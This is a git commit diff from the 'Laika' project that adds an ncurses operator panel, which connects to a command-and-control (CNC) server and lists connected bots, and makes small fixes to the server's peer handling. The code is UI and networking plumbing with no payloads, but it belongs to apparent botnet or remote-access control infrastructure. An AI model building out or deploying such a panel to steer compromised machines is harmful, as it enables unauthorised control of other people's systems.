mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-21 20:40:05 +00:00
Added panel!
- minor refactoring - TODO: panel & cnc should really use unique keys. maybe add config file?
This commit is contained in:
parent
e7265ad15b
commit
fb71dfb3c3
10
.vscode/settings.json
vendored
10
.vscode/settings.json
vendored
@ -24,18 +24,24 @@
|
||||
"stdio.h": "c",
|
||||
"bit": "c",
|
||||
"limits": "c",
|
||||
"*.in": "cpp"
|
||||
"*.in": "cpp",
|
||||
"lerror.h": "c"
|
||||
},
|
||||
"cSpell.words": [
|
||||
"cnc's",
|
||||
"CWARN",
|
||||
"epollfd",
|
||||
"EPOLLIN",
|
||||
"evnt",
|
||||
"EWOULD",
|
||||
"ISPROTECTED",
|
||||
"Laika",
|
||||
"LAIKAMAGIC",
|
||||
"LAIKAMAGICLEN",
|
||||
"LAIKAPKT",
|
||||
"NOMINMAX",
|
||||
"rmvarray"
|
||||
"PCLIENT",
|
||||
"rmvarray",
|
||||
"wmain"
|
||||
]
|
||||
}
|
@ -1,7 +1,7 @@
|
||||
cmake_minimum_required(VERSION 3.10)
|
||||
project(Laika)
|
||||
|
||||
set(CMAKE_C_STANDARD 99)
|
||||
set(CMAKE_C_STANDARD 11)
|
||||
set(CMAKE_C_STANDARD_REQUIRED ON)
|
||||
|
||||
# Set the project as the default startup project for VS
|
||||
@ -37,3 +37,4 @@ add_subdirectory(lib)
|
||||
add_subdirectory(tools)
|
||||
add_subdirectory(cnc)
|
||||
add_subdirectory(bot)
|
||||
add_subdirectory(panel)
|
||||
|
@ -41,6 +41,9 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
|
||||
laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
|
||||
laikaS_endOutPacket(peer);
|
||||
|
||||
/* handshake (mostly) complete */
|
||||
laikaC_onAddPeer(cnc, peer);
|
||||
|
||||
LAIKA_DEBUG("accepted handshake from peer %lx\n", peer);
|
||||
}
|
||||
|
||||
@ -98,6 +101,7 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
||||
|
||||
/* notify connected panels of the newly connected peer */
|
||||
for (i = 0; i < cnc->panelCount; i++) {
|
||||
LAIKA_DEBUG("sending new peer to %lx\n", peer);
|
||||
laikaC_sendNewPeer(cnc->panels[i], peer);
|
||||
}
|
||||
}
|
||||
@ -118,7 +122,7 @@ void laikaC_rmvPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel) {
|
||||
for (i = 0; i < cnc->panelCount; i++) {
|
||||
if (cnc->panels[i] == panel) { /* we found the index for our panel! */
|
||||
laikaM_rmvarray(cnc->panels, cnc->panelCount, i, 1);
|
||||
break;
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -129,6 +133,8 @@ void laikaC_addPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel) {
|
||||
|
||||
/* insert into authenticated panel table */
|
||||
cnc->panels[cnc->panelCount++] = panel;
|
||||
|
||||
LAIKA_DEBUG("added panel %lx!\n", panel);
|
||||
}
|
||||
|
||||
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
||||
@ -173,8 +179,6 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
|
||||
/* add to our pollList */
|
||||
laikaP_addSock(&cnc->pList, &peer->sock);
|
||||
|
||||
laikaC_onAddPeer(cnc, peer);
|
||||
|
||||
LAIKA_DEBUG("new peer %lx!\n", peer);
|
||||
continue;
|
||||
}
|
||||
@ -200,6 +204,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
|
||||
/* flush pList's outQueue */
|
||||
for (i = 0; i < cnc->pList.outCount; i++) {
|
||||
peer = cnc->pList.outQueue[i];
|
||||
LAIKA_DEBUG("sending OUT to %lx\n", peer);
|
||||
if (!laikaS_handlePeerOut(peer))
|
||||
laikaC_killPeer(cnc, peer);
|
||||
}
|
||||
|
@ -58,6 +58,10 @@ void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *panel, LAIKAPKT_SIZ
|
||||
|
||||
/* they passed! send list of our peers */
|
||||
laikaP_iterList(&cnc->pList, sendPanelPeerIter, (void*)panel);
|
||||
|
||||
/* notify other peers */
|
||||
laikaC_onRmvPeer(cnc, panel);
|
||||
laikaC_onAddPeer(cnc, panel);
|
||||
break;
|
||||
default:
|
||||
LAIKA_ERROR("unknown peerType [%d]!\n", panel->type);
|
||||
|
@ -77,9 +77,18 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
||||
}
|
||||
|
||||
void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
||||
int i;
|
||||
|
||||
/* remove socket from hashmap */
|
||||
hashmap_delete(pList->sockets, &(tLaika_hashMapElem){.fd = sock->sock, .sock = sock});
|
||||
|
||||
/* make sure peer isn't in outQueue */
|
||||
for (i = 0; i < pList->outCount; i++) {
|
||||
if ((void*)pList->outQueue[i] == (void*)sock) {
|
||||
laikaM_rmvarray(pList->outQueue, pList->outCount, i, 1);
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef LAIKA_USE_EPOLL
|
||||
/* epoll_event* isn't needed with EPOLL_CTL_DEL, however we still need to pass a NON-NULL pointer. [see: https://man7.org/linux/man-pages/man2/epoll_ctl.2.html#BUGS] */
|
||||
if (epoll_ctl(pList->epollfd, EPOLL_CTL_DEL, sock->sock, &pList->ev) == -1) {
|
||||
|
22
panel/CMakeLists.txt
Normal file
22
panel/CMakeLists.txt
Normal file
@ -0,0 +1,22 @@
|
||||
cmake_minimum_required(VERSION 3.10)
|
||||
|
||||
set(PANEL_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
|
||||
set(CURSES_NEED_NCURSES TRUE)
|
||||
|
||||
project(LaikaPanel VERSION 1.0)
|
||||
|
||||
# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
|
||||
set_property(GLOBAL PROPERTY USE_FOLDERS ON)
|
||||
|
||||
find_package(Curses)
|
||||
|
||||
# compile LaikaPanel
|
||||
file(GLOB_RECURSE PANELSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
|
||||
add_executable(LaikaPanel ${PANELSOURCE})
|
||||
target_link_libraries(LaikaPanel PUBLIC LaikaLib ${CURSES_LIBRARIES})
|
||||
|
||||
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
|
||||
target_compile_definitions(LaikaPanel PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
|
||||
|
||||
# add include directory
|
||||
target_include_directories(LaikaPanel PUBLIC ${PANEL_INCLUDEDIR})
|
93
panel/include/panel.h
Normal file
93
panel/include/panel.h
Normal file
@ -0,0 +1,93 @@
|
||||
#ifndef PANELMENU_H
|
||||
#define PANELMENU_H
|
||||
|
||||
#include <ncurses.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#define PANEL_CURSES_TIMEOUT 100
|
||||
#define COMMONPANELLIST tPanel_list list;
|
||||
|
||||
typedef void (*panelCallback)(void *uData);
|
||||
|
||||
typedef enum {
|
||||
LIST_LIST,
|
||||
LIST_TABS,
|
||||
LIST_MENU,
|
||||
LIST_NONE
|
||||
} LISTTYPE;
|
||||
|
||||
struct sPanel_list;
|
||||
typedef struct sPanel_listItem {
|
||||
panelCallback callback;
|
||||
struct sPanel_list *child;
|
||||
void *uData;
|
||||
char *name;
|
||||
struct sPanel_listItem *next;
|
||||
struct sPanel_listItem *last;
|
||||
int x, y, width, height;
|
||||
} tPanel_listItem;
|
||||
|
||||
typedef struct sPanel_list {
|
||||
tPanel_listItem *itemHead, *selectedItem;
|
||||
WINDOW *win;
|
||||
int x, y, width, height;
|
||||
LISTTYPE type;
|
||||
bool hidden;
|
||||
} tPanel_list;
|
||||
|
||||
typedef struct sPanel_tabs {
|
||||
COMMONPANELLIST;
|
||||
char *title;
|
||||
} tPanel_tabs;
|
||||
|
||||
typedef struct sPanel_menu {
|
||||
COMMONPANELLIST;
|
||||
char *title;
|
||||
} tPanel_menu;
|
||||
|
||||
extern WINDOW *wmain;
|
||||
extern tPanel_list *panel_botList;
|
||||
extern tPanel_tabs *panel_tabList;
|
||||
|
||||
void panel_init(void);
|
||||
void panel_cleanUp(void);
|
||||
|
||||
tPanel_list *panel_getActiveList(void);
|
||||
int panel_getChar(void);
|
||||
void panel_pushActiveList(tPanel_list *list);
|
||||
void panel_popActiveList(void); /* also free's the item */
|
||||
void panel_draw(void);
|
||||
bool panel_tick(int input); /* ticks activeList list, returns true if input was accepted/valid */
|
||||
void panel_setTimeout(int timeout);
|
||||
|
||||
tPanel_listItem *panelL_newListItem(tPanel_list *list, tPanel_list *child, char *name, panelCallback callback, void *uData);
|
||||
void panelL_freeListItem(tPanel_list *list, tPanel_listItem *item);
|
||||
|
||||
/* call *after* adding listItems with panelL_newListItem */
|
||||
void panelL_init(tPanel_list *list);
|
||||
void panelL_draw(tPanel_list *list);
|
||||
void panelL_free(tPanel_list *list);
|
||||
bool panelL_tick(tPanel_list *list, int ch);
|
||||
void panelL_setHidden(tPanel_list *list, bool hidden);
|
||||
void panelL_setTimeout(tPanel_list *list, int timeout);
|
||||
|
||||
/* handles selection */
|
||||
void panelL_nextItem(tPanel_list *list);
|
||||
void panelL_prevItem(tPanel_list *list);
|
||||
void panelL_selectItem(tPanel_list *list); /* calls select item's callback */
|
||||
|
||||
/* center list */
|
||||
tPanel_list *panelL_newList(void);
|
||||
void panelL_freeList(tPanel_list *list);
|
||||
|
||||
/* top tabs */
|
||||
tPanel_tabs *panelL_newTabs(char *title);
|
||||
void panelL_freeTabs(tPanel_tabs *tabs);
|
||||
|
||||
/* menu popup */
|
||||
tPanel_menu *panelL_newMenu(char *title);
|
||||
void panelL_freeMenu(tPanel_menu *menu);
|
||||
|
||||
#undef COMMONPANELLIST
|
||||
|
||||
#endif
|
24
panel/include/pbot.h
Normal file
24
panel/include/pbot.h
Normal file
@ -0,0 +1,24 @@
|
||||
#ifndef PBOT_H
|
||||
#define PBOT_H
|
||||
|
||||
#include "laika.h"
|
||||
#include "lpeer.h"
|
||||
#include "lrsa.h"
|
||||
|
||||
#include "panel.h"
|
||||
|
||||
typedef struct sPanel_bot {
|
||||
uint8_t pub[crypto_kx_PUBLICKEYBYTES];
|
||||
PEERTYPE type;
|
||||
tPanel_listItem *item;
|
||||
char *name; /* heap allocated string */
|
||||
} tPanel_bot;
|
||||
|
||||
tPanel_bot *panelB_newBot(uint8_t *pubKey);
|
||||
void panelB_freeBot(tPanel_bot *bot);
|
||||
|
||||
/* search connected bots by public key */
|
||||
tPanel_bot *panelB_getBot(uint8_t *pubKey);
|
||||
void panelB_setItem(tPanel_bot *bot, tPanel_listItem *item);
|
||||
|
||||
#endif
|
24
panel/include/pclient.h
Normal file
24
panel/include/pclient.h
Normal file
@ -0,0 +1,24 @@
|
||||
#ifndef PCLIENT_H
|
||||
#define PCLIENT_H
|
||||
|
||||
#include "laika.h"
|
||||
#include "lpeer.h"
|
||||
#include "lpolllist.h"
|
||||
#include "pbot.h"
|
||||
|
||||
typedef struct sPanel_client {
|
||||
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
||||
struct sLaika_pollList pList;
|
||||
struct sLaika_peer *peer;
|
||||
} tPanel_client;
|
||||
|
||||
tPanel_client *panelC_newClient();
|
||||
void panelC_freeClient(tPanel_client *client);
|
||||
|
||||
void panelC_connectToCNC(tPanel_client *client, char *ip, char *port); /* can throw a LAIKA_ERROR */
|
||||
bool panelC_poll(tPanel_client *client, int timeout);
|
||||
|
||||
void panelC_addBot(tPanel_bot *bot);
|
||||
void panelC_rmvBot(tPanel_bot *bot);
|
||||
|
||||
#endif
|
99
panel/src/main.c
Normal file
99
panel/src/main.c
Normal file
@ -0,0 +1,99 @@
|
||||
#include "laika.h"
|
||||
#include "lerror.h"
|
||||
|
||||
#include "panel.h"
|
||||
#include "pclient.h"
|
||||
|
||||
#define STRING(x) #x
|
||||
#define MACROLITSTR(x) STRING(x)
|
||||
|
||||
tPanel_client *client;
|
||||
tPanel_tabs *panel_tabList;
|
||||
tPanel_list *panel_botList;
|
||||
|
||||
void connectToCNC(void *uData) {
|
||||
tPanel_listItem *curr;
|
||||
int ch;
|
||||
|
||||
/* hide main menu */
|
||||
panelL_setHidden(panel_getActiveList(), true);
|
||||
|
||||
/* init global lists */
|
||||
panel_tabList = panelL_newTabs("Laika CNC Panel");
|
||||
panel_botList = panelL_newList();
|
||||
|
||||
/* init tabs */
|
||||
panelL_newListItem(&panel_tabList->list, panel_botList, "Bot List", NULL, NULL);
|
||||
panelL_init(&panel_tabList->list);
|
||||
panelL_init(panel_botList);
|
||||
|
||||
addstr("Connecting to CNC with pubkey [" LAIKA_PUBKEY "]...");
|
||||
refresh();
|
||||
|
||||
client = panelC_newClient();
|
||||
panelC_connectToCNC(client, "127.0.0.1", "13337");
|
||||
|
||||
/* main panel loop */
|
||||
panel_pushActiveList(&panel_tabList->list);
|
||||
while ((ch = panel_getChar()) != 'q' && laikaS_isAlive((&client->peer->sock))) {
|
||||
if (!panel_tick(ch)) {
|
||||
/* if we got an event to handle, we *probably* have more events to handle so temporarily make ncurses non-blocking */
|
||||
if (panelC_poll(client, 0)) {
|
||||
panel_setTimeout(0); /* makes ncurses non-blocking */
|
||||
panel_draw();
|
||||
} else {
|
||||
/* wait to poll if we didn't receive any new messages */
|
||||
panel_setTimeout(PANEL_CURSES_TIMEOUT);
|
||||
}
|
||||
} else {
|
||||
/* we got input, redraw screen */
|
||||
panel_draw();
|
||||
}
|
||||
}
|
||||
|
||||
/* free bots in botList */
|
||||
curr = panel_botList->itemHead;
|
||||
while (curr != NULL) {
|
||||
panelB_freeBot(curr->uData);
|
||||
curr = curr->next;
|
||||
}
|
||||
|
||||
/* since panel_botList is a child of one of panel_tabList's items, it
|
||||
gets free'd with panel_tabList. so popping it frees both */
|
||||
panel_popActiveList();
|
||||
panelC_freeClient(client);
|
||||
|
||||
/* re-show main menu */
|
||||
panelL_setHidden(panel_getActiveList(), false);
|
||||
}
|
||||
|
||||
void quitLaika(void *uData) {
|
||||
LAIKA_ERROR("quit!\n")
|
||||
}
|
||||
|
||||
int main(int argv, char **argc) {
|
||||
tPanel_menu *menu;
|
||||
int ch;
|
||||
|
||||
/* init ncurses */
|
||||
panel_init();
|
||||
|
||||
menu = panelL_newMenu("Laika v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR));
|
||||
panelL_newListItem(&menu->list, NULL, "Quit", quitLaika, NULL);
|
||||
panelL_newListItem(&menu->list, NULL, "- Connect to CNC", connectToCNC, NULL);
|
||||
|
||||
/* start main menu */
|
||||
panelL_init(&menu->list);
|
||||
panel_pushActiveList(&menu->list);
|
||||
LAIKA_TRY
|
||||
while ((ch = panel_getChar()) != 'q') {
|
||||
if (panel_tick(ch))
|
||||
panel_draw();
|
||||
}
|
||||
LAIKA_TRYEND
|
||||
panel_popActiveList();
|
||||
|
||||
/* cleanup */
|
||||
panel_cleanUp();
|
||||
return 0;
|
||||
}
|
472
panel/src/panel.c
Normal file
472
panel/src/panel.c
Normal file
@ -0,0 +1,472 @@
|
||||
#include <string.h>
|
||||
#include <ncurses.h>
|
||||
#include "lmem.h"
|
||||
#include "lerror.h"
|
||||
#include "panel.h"
|
||||
#include "pbot.h"
|
||||
|
||||
/* i don't expect to ever be 16 layers deep of menus */
|
||||
#define ACTIVESIZE 16
|
||||
|
||||
WINDOW *wmain;
|
||||
|
||||
tPanel_list *activeList[ACTIVESIZE] = { NULL };
|
||||
int activeListSize = -1;
|
||||
|
||||
void printTitle(WINDOW *win, char *text, int width, int x, int y) {
|
||||
int pad = (width - (strlen(text) + 4)) / 2;
|
||||
mvwprintw(win, y, x+pad, "| %s |", text);
|
||||
}
|
||||
|
||||
void printCenter(WINDOW *win, char *text, int width, int x, int y) {
|
||||
int strLength = strlen(text);
|
||||
int pad = (width - strLength) / 2;
|
||||
mvwprintw(win, y, x, "%*s%s%*s", pad, "", text, (width-pad-strLength), "");
|
||||
}
|
||||
|
||||
void printLine(WINDOW *win, char *text, int width, int x, int y) {
|
||||
int strLength = strlen(text);
|
||||
int pad = (width - strLength);
|
||||
mvwprintw(win, y, x, "%s%*s\n", text, pad, "");
|
||||
}
|
||||
|
||||
void panel_init() {
|
||||
if ((wmain = initscr()) == NULL)
|
||||
LAIKA_ERROR("Failed to init ncurses!")
|
||||
|
||||
activeListSize = -1;
|
||||
|
||||
/* setup ncurses */
|
||||
cbreak();
|
||||
noecho();
|
||||
timeout(1);
|
||||
keypad(stdscr, true);
|
||||
curs_set(0); /* hide the default screen cursor. */
|
||||
|
||||
refresh();
|
||||
}
|
||||
|
||||
void panel_cleanUp() {
|
||||
/* clean up ncurses */
|
||||
delwin(wmain);
|
||||
endwin();
|
||||
}
|
||||
|
||||
tPanel_list *panel_newBaseList(size_t sz, LISTTYPE type) {
|
||||
tPanel_list *list = laikaM_malloc(sz);
|
||||
|
||||
list->itemHead = NULL;
|
||||
list->selectedItem = NULL;
|
||||
list->win = NULL;
|
||||
list->x = 1;
|
||||
list->y = 0;
|
||||
list->height = 0;
|
||||
list->type = type;
|
||||
list->hidden = false;
|
||||
|
||||
return list;
|
||||
}
|
||||
|
||||
void panel_freeBaseList(tPanel_list *list) {
|
||||
/* free linked list */
|
||||
tPanel_listItem *curr = list->itemHead, *last = NULL;
|
||||
|
||||
while(curr != NULL) {
|
||||
last = curr;
|
||||
curr = curr->next;
|
||||
if (last != NULL)
|
||||
panelL_freeListItem(list, last);
|
||||
}
|
||||
|
||||
/* remove ncurses window */
|
||||
wclear(list->win);
|
||||
delwin(list->win);
|
||||
|
||||
/* free list */
|
||||
laikaM_free(list);
|
||||
}
|
||||
|
||||
tPanel_list *panel_getActiveList() {
|
||||
return activeList[activeListSize];
|
||||
}
|
||||
|
||||
int panel_getChar() {
|
||||
/* if we have an activeList panel, grab the input from that otherwise return -1 */
|
||||
if (activeList)
|
||||
return wgetch(panel_getActiveList()->win);
|
||||
return -1;
|
||||
}
|
||||
|
||||
void panel_pushActiveList(tPanel_list *list) {
|
||||
/* set activeList window & draw */
|
||||
activeList[++activeListSize] = list;
|
||||
panelL_draw(panel_getActiveList());
|
||||
}
|
||||
|
||||
void panel_popActiveList() {
|
||||
panelL_freeList(activeList[activeListSize--]);
|
||||
|
||||
if (activeListSize >= 0)
|
||||
panelL_init(panel_getActiveList());
|
||||
}
|
||||
|
||||
void panel_draw(void) {
|
||||
int i;
|
||||
|
||||
/* draw active panels from bottom most (pushed first) to top most (pushed last)
|
||||
this way, new-er windows will be drawn on-top of older ones */
|
||||
clear();
|
||||
for (i = 0; i <= activeListSize; i++) {
|
||||
panelL_draw(activeList[i]);
|
||||
}
|
||||
}
|
||||
|
||||
bool panel_tick(int ch) {
|
||||
int i;
|
||||
/* tick each panel from top most (pushed last) to bottom most (pushed first)
|
||||
this way, the top-most windows/lists will be the most interactive */
|
||||
|
||||
for (i = activeListSize; i >= 0; i--) {
|
||||
if (panelL_tick(activeList[i], ch))
|
||||
return true;
|
||||
}
|
||||
|
||||
/* no ticks returned any results */
|
||||
return false;
|
||||
}
|
||||
|
||||
void panel_setTimeout(int timeout) {
|
||||
panelL_setTimeout(panel_getActiveList(), timeout);
|
||||
}
|
||||
|
||||
/* ==================================================[[ List ]]================================================== */
|
||||
|
||||
tPanel_list *panelL_newList(void) {
|
||||
return (tPanel_list*)panel_newBaseList(sizeof(tPanel_list), LIST_LIST);
|
||||
}
|
||||
|
||||
void panelL_freeList(tPanel_list *list) {
|
||||
panel_freeBaseList(list);
|
||||
}
|
||||
|
||||
void panelL_initList(tPanel_list *list) {
|
||||
tPanel_listItem *curr = list->itemHead;
|
||||
int numLines = 0;
|
||||
|
||||
/* count # of lines */
|
||||
while (curr != NULL) {
|
||||
numLines++;
|
||||
curr = curr->next;
|
||||
}
|
||||
|
||||
/* create ncurses window */
|
||||
list->x = 0;
|
||||
list->y = 2;
|
||||
list->width = COLS;
|
||||
list->height = numLines;
|
||||
list->win = newwin(list->height, list->width, list->y, list->x);
|
||||
keypad(list->win, TRUE); /* setup keyboard input */
|
||||
wtimeout(list->win, 0);
|
||||
}
|
||||
|
||||
void panelL_drawList(tPanel_list *list) {
|
||||
tPanel_listItem *curr = list->itemHead;
|
||||
int i = 0;
|
||||
|
||||
/* write each line */
|
||||
while (curr != NULL) {
|
||||
/* highlight selected option */
|
||||
if (curr == list->selectedItem)
|
||||
wattron(list->win, A_STANDOUT);
|
||||
|
||||
printLine(list->win, curr->name, list->width, 0, i++);
|
||||
wattroff(list->win, A_STANDOUT);
|
||||
curr = curr->next;
|
||||
}
|
||||
|
||||
/* push to screen */
|
||||
wrefresh(list->win);
|
||||
}
|
||||
|
||||
bool panelL_tickList(tPanel_list *list, int ch) {
|
||||
switch (ch) {
|
||||
case KEY_DOWN: panelL_nextItem(list); break;
|
||||
case KEY_UP: panelL_prevItem(list); break;
|
||||
default: return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ==================================================[[ Tabs ]]================================================== */
|
||||
|
||||
tPanel_tabs *panelL_newTabs(char *title) {
|
||||
tPanel_tabs *tabs = (tPanel_tabs*)panel_newBaseList(sizeof(tPanel_tabs), LIST_TABS);
|
||||
tabs->title = title;
|
||||
tabs->list.width = strlen(title) + 4;
|
||||
|
||||
return tabs;
|
||||
}
|
||||
|
||||
void panelL_freeTabs(tPanel_tabs *tabs) {
|
||||
panel_freeBaseList((tPanel_list*)tabs);
|
||||
}
|
||||
|
||||
void panelL_initTabs(tPanel_list *tabs) {
|
||||
tPanel_listItem *curr = tabs->itemHead;
|
||||
int numTabs = 0;
|
||||
|
||||
if (tabs->win)
|
||||
delwin(tabs->win);
|
||||
|
||||
/* get tab count */
|
||||
while (curr != NULL) {
|
||||
curr = curr->next;
|
||||
numTabs++;
|
||||
}
|
||||
|
||||
tabs->x = 0;
|
||||
tabs->y = 0;
|
||||
if (numTabs <= 1)
|
||||
tabs->width = COLS;
|
||||
else
|
||||
tabs->width = COLS/numTabs;
|
||||
tabs->height = 2;
|
||||
tabs->win = newwin(tabs->height, COLS, tabs->y, tabs->x);
|
||||
|
||||
keypad(tabs->win, true);
|
||||
wtimeout(tabs->win, 0);
|
||||
}
|
||||
|
||||
void panelL_drawTabs(tPanel_tabs *tabs) {
|
||||
tPanel_listItem *curr = tabs->list.itemHead;
|
||||
int i = 0;
|
||||
|
||||
/* write title */
|
||||
printCenter(tabs->list.win, tabs->title, COLS, 0, 0);
|
||||
|
||||
/* write each tab */
|
||||
while (curr != NULL) {
|
||||
/* highlight selected option */
|
||||
if (curr == tabs->list.selectedItem)
|
||||
wattron(tabs->list.win, A_STANDOUT);
|
||||
|
||||
printCenter(tabs->list.win, curr->name, tabs->list.width, (i++)*tabs->list.width, 1);
|
||||
curr = curr->next;
|
||||
wattroff(tabs->list.win, A_STANDOUT);
|
||||
}
|
||||
|
||||
/* draw tab */
|
||||
refresh();
|
||||
if (tabs->list.selectedItem && tabs->list.selectedItem->child)
|
||||
panelL_draw(tabs->list.selectedItem->child);
|
||||
|
||||
wrefresh(tabs->list.win);
|
||||
}
|
||||
|
||||
bool panelL_tickTabs(tPanel_tabs *tabs, int ch) {
|
||||
switch (ch) {
|
||||
case KEY_RIGHT: panelL_nextItem(&tabs->list); break;
|
||||
case KEY_LEFT: panelL_prevItem(&tabs->list); break;
|
||||
/* tick child */
|
||||
default: return (tabs->list.selectedItem && tabs->list.selectedItem->child) ? panelL_tick(tabs->list.selectedItem->child, ch) : false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ==================================================[[ Menu ]]================================================== */
|
||||
|
||||
tPanel_menu *panelL_newMenu(char *title) {
|
||||
tPanel_menu *menu = (tPanel_menu*)panel_newBaseList(sizeof(tPanel_menu), LIST_MENU);
|
||||
menu->title = title;
|
||||
menu->list.width = strlen(title) + 4;
|
||||
|
||||
return menu;
|
||||
}
|
||||
|
||||
void panelL_freeMenu(tPanel_menu *menu) {
|
||||
panel_freeBaseList((tPanel_list*)menu);
|
||||
}
|
||||
|
||||
void panelL_initMenu(tPanel_list *menu) {
|
||||
tPanel_listItem *curr = menu->itemHead;
|
||||
|
||||
if (menu->win)
|
||||
delwin(menu->win);
|
||||
|
||||
/* get max line length & menu height */
|
||||
menu->height = 2;
|
||||
while (curr != NULL) {
|
||||
if (curr->width+6 > menu->width)
|
||||
menu->width = curr->width+6;
|
||||
|
||||
curr = curr->next;
|
||||
menu->height++;
|
||||
}
|
||||
|
||||
menu->y = (LINES-menu->height)/2;
|
||||
menu->x = (COLS-menu->width)/2;
|
||||
|
||||
menu->win = newwin(menu->height, menu->width, menu->y, menu->x);
|
||||
keypad(menu->win, true);
|
||||
wtimeout(menu->win, 0);
|
||||
}
|
||||
|
||||
void panelL_drawMenu(tPanel_menu *menu) {
|
||||
tPanel_listItem *curr = menu->list.itemHead;
|
||||
int i = 1;
|
||||
|
||||
/* write each line */
|
||||
while (curr != NULL) {
|
||||
/* highlight selected option */
|
||||
if (curr == menu->list.selectedItem)
|
||||
wattron(menu->list.win, A_STANDOUT);
|
||||
|
||||
printLine(menu->list.win, curr->name, menu->list.width-4, 2, i++);
|
||||
wattroff(menu->list.win, A_STANDOUT);
|
||||
curr = curr->next;
|
||||
}
|
||||
|
||||
/* write the title & border */
|
||||
box(menu->list.win, 0, 0);
|
||||
printTitle(menu->list.win, menu->title, menu->list.width, 0, 0);
|
||||
|
||||
/* push to screen */
|
||||
wrefresh(menu->list.win);
|
||||
}
|
||||
|
||||
bool panelL_tickMenu(tPanel_menu *menu, int ch) {
|
||||
switch (ch) {
|
||||
case KEY_UP: panelL_prevItem(&menu->list); break;
|
||||
case KEY_DOWN: panelL_nextItem(&menu->list); break;
|
||||
case '\n': case KEY_ENTER: panelL_selectItem(&menu->list); break;
|
||||
default: return false;
|
||||
}
|
||||
|
||||
panelL_drawMenu(menu);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ==================================================[[ Panel Direct ]]================================================== */
|
||||
|
||||
tPanel_listItem *panelL_newListItem(tPanel_list *list, tPanel_list *child, char *name, panelCallback callback, void *uData) {
|
||||
tPanel_listItem *item = laikaM_malloc(sizeof(tPanel_listItem));
|
||||
|
||||
item->child = child;
|
||||
item->callback = callback;
|
||||
item->uData = uData;
|
||||
item->name = name;
|
||||
item->last = NULL;
|
||||
item->next = NULL;
|
||||
item->width = strlen(name);
|
||||
item->height = 1;
|
||||
item->x = 0;
|
||||
item->y = 0;
|
||||
|
||||
/* add to list */
|
||||
if (list->itemHead)
|
||||
list->itemHead->last = item;
|
||||
|
||||
item->next = list->itemHead;
|
||||
list->itemHead = item;
|
||||
list->selectedItem = item;
|
||||
|
||||
return item;
|
||||
}
|
||||
|
||||
void panelL_freeListItem(tPanel_list *list, tPanel_listItem *item) {
|
||||
if (list->itemHead == item) {
|
||||
if (item->next)
|
||||
item->next->last = NULL;
|
||||
list->itemHead = item->next;
|
||||
} else {
|
||||
/* unlink from list */
|
||||
if (item->last)
|
||||
item->last->next = item->next;
|
||||
|
||||
if (item->next)
|
||||
item->next->last = item->last;
|
||||
}
|
||||
|
||||
/* free child */
|
||||
if (item->child)
|
||||
panelL_freeList(item->child);
|
||||
|
||||
/* update selected item */
|
||||
if (list->selectedItem == item)
|
||||
list->selectedItem = list->itemHead;
|
||||
|
||||
laikaM_free(item);
|
||||
}
|
||||
|
||||
void panelL_nextItem(tPanel_list *list) {
|
||||
if (!list->selectedItem || !list->selectedItem->next) /* sanity check */
|
||||
return;
|
||||
|
||||
list->selectedItem = list->selectedItem->next;
|
||||
}
|
||||
|
||||
void panelL_prevItem(tPanel_list *list) {
|
||||
if (!list->selectedItem || !list->selectedItem->last) /* sanity check */
|
||||
return;
|
||||
|
||||
list->selectedItem = list->selectedItem->last;
|
||||
}
|
||||
|
||||
void panelL_selectItem(tPanel_list *list) {
|
||||
if (!list->selectedItem || !list->selectedItem->callback) /* sanity check */
|
||||
return;
|
||||
|
||||
list->selectedItem->callback(list->selectedItem->uData);
|
||||
}
|
||||
|
||||
void panelL_init(tPanel_list *list) {
|
||||
switch (list->type) {
|
||||
case LIST_LIST: panelL_initList(list); break;
|
||||
case LIST_TABS: panelL_initTabs(list); break;
|
||||
case LIST_MENU: panelL_initMenu(list); break;
|
||||
default: LAIKA_ERROR("Malformed tPanel_list!\n"); break;
|
||||
}
|
||||
}
|
||||
|
||||
void panelL_free(tPanel_list *list) {
|
||||
switch (list->type) {
|
||||
case LIST_LIST: panelL_freeList(list); break;
|
||||
case LIST_TABS: panelL_freeTabs((tPanel_tabs*)list); break;
|
||||
case LIST_MENU: panelL_freeMenu((tPanel_menu*)list); break;
|
||||
default: LAIKA_ERROR("Malformed tPanel_list!\n"); break;
|
||||
}
|
||||
}
|
||||
|
||||
void panelL_draw(tPanel_list *list) {
|
||||
if (list->hidden) /* don't draw a hidden list */
|
||||
return;
|
||||
|
||||
switch (list->type) {
|
||||
case LIST_LIST: panelL_drawList(list); break;
|
||||
case LIST_TABS: panelL_drawTabs((tPanel_tabs*)list); break;
|
||||
case LIST_MENU: panelL_drawMenu((tPanel_menu*)list); break;
|
||||
default: LAIKA_ERROR("Malformed tPanel_list!\n"); break;
|
||||
}
|
||||
}
|
||||
|
||||
bool panelL_tick(tPanel_list *list, int ch) {
|
||||
if (list->hidden) /* don't tick a hidden list */
|
||||
return false;
|
||||
|
||||
switch (list->type) {
|
||||
case LIST_LIST: return panelL_tickList(list, ch);
|
||||
